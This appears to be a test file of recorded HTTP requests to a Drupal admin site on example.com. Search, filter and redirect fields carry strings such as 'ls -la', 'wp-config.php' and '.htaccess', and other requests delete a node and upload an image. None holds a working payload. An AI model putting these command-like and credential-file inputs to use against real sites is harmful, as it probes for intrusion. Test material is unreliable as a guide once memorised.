{"method": "GET", "target": "/admin/config/search/path?search=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/moderated?title=ls%20-la&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=&filemime=ls%20-la&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path?search=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/moderated?title=.htaccess&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=&filemime=.htaccess&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path?search=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/moderated?title=wp-config.php&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=&filemime=wp-config.php&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path?search=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=hello", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=python3", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=powershell", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=ls%20-la", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=.htaccess", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/moderated?title=docker-compose.yml&moderation_state=All", "headers":["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=&filemime=docker-compose.yml&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/delete", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/node/2/delete", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2/delete", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-hnGbBTfqMwKkGf8rHG1D2s_--brUB7ERWenxjTAV3LA&form_token=VhXEXVRRiAuV4qccGvDVSnGrooVZfRHrKiG51GM3yms&form_id=node_page_delete_form&op=Delete"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dfrontpage%3Alocation%3Dpage%26name%3Dfrontpage%26display_id%3Dpage_1%26langcode%3Den&tokens%5B%5D=gzNq81gUc0srM04Gao-KDKP3JhZ8i_LinPcztlc970A"}
{"method": "POST", "target": "/media/add/image?element_parents=field_media_image/widget/0&ajax_form=1&_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywImR5Ybat1GIxzuU", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"files[field_media_image_0]\"; filename=\"powershell-setup.png\"\r\nContent-Type: image/png\r\n\r\n‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"field_media_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-w_XtjjjeoarI94S-L4lSdIzOHi_x9Kgcm8noqTZQNB8\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nhe-agwYf9hgBeNvqmmhGH-VoLUAjNTrQ-e47x0x0Jxs\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nmedia_image_add_form\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"revision_log_message[0][value]\"\r\n\r\n\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:05:03\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"advanced__active_tab\"\r\n\r\nedit-revision-information\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nfield_media_image_0_upload_button\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nUpload\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"_drupal_ajax\"\r\n\r\n1\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nclaro\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\nnwY4HfJ_Ywq9D0w8idDat-HyUFFrbgnBlO-ktsMr2r8\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n\r\neJxVj1ESwjAIRC_UtGeiERWlUAnpWE9votVM_naW5cFGBtNpwRNBOKstQ1RxfHoGnk6WV-CxOYFJ7qlEDKeoy6qC4mkU2OgCTiohuCrPYGHO7irf6MGB6LThh9H72bXSGB27QVRmWFNvlovk--_X5icHx9RZ9WswhGCY6NVjNjSnWCo5zMcWlZomZXZ7ZLR9bCekKOCKOBP_EVUPrfvU5Miwa_ZhBb_-0lW_AQOBjSg\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU--\r\n"}
{"method": "GET", "target": "/sites/default/files/styles/thumbnail/public/2026-11/powershell-setup_4.png.avif?itok=iF2vDKZ9", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/media/add/image", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMo0GuX6XENCyw7uS", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"field_media_image[0][alt]\"\r\n\r\nA powershell logo\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"field_media_image[0][fids]\"\r\n\r\n16\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-dg7NXZ7td0XPIB6_GTT6JAprMPLoOBmXE6djXbPE4iI\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nhe-agwYf9hgBeNvqmmhGH-VoLUAjNTrQ-e47x0x0Jxs\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nmedia_image_add_form\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"revision_log_message[0][value]\"\r\n\r\n\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:05:03\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"advanced__active_tab\"\r\n\r\nedit-revision-information\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS--\r\n"}
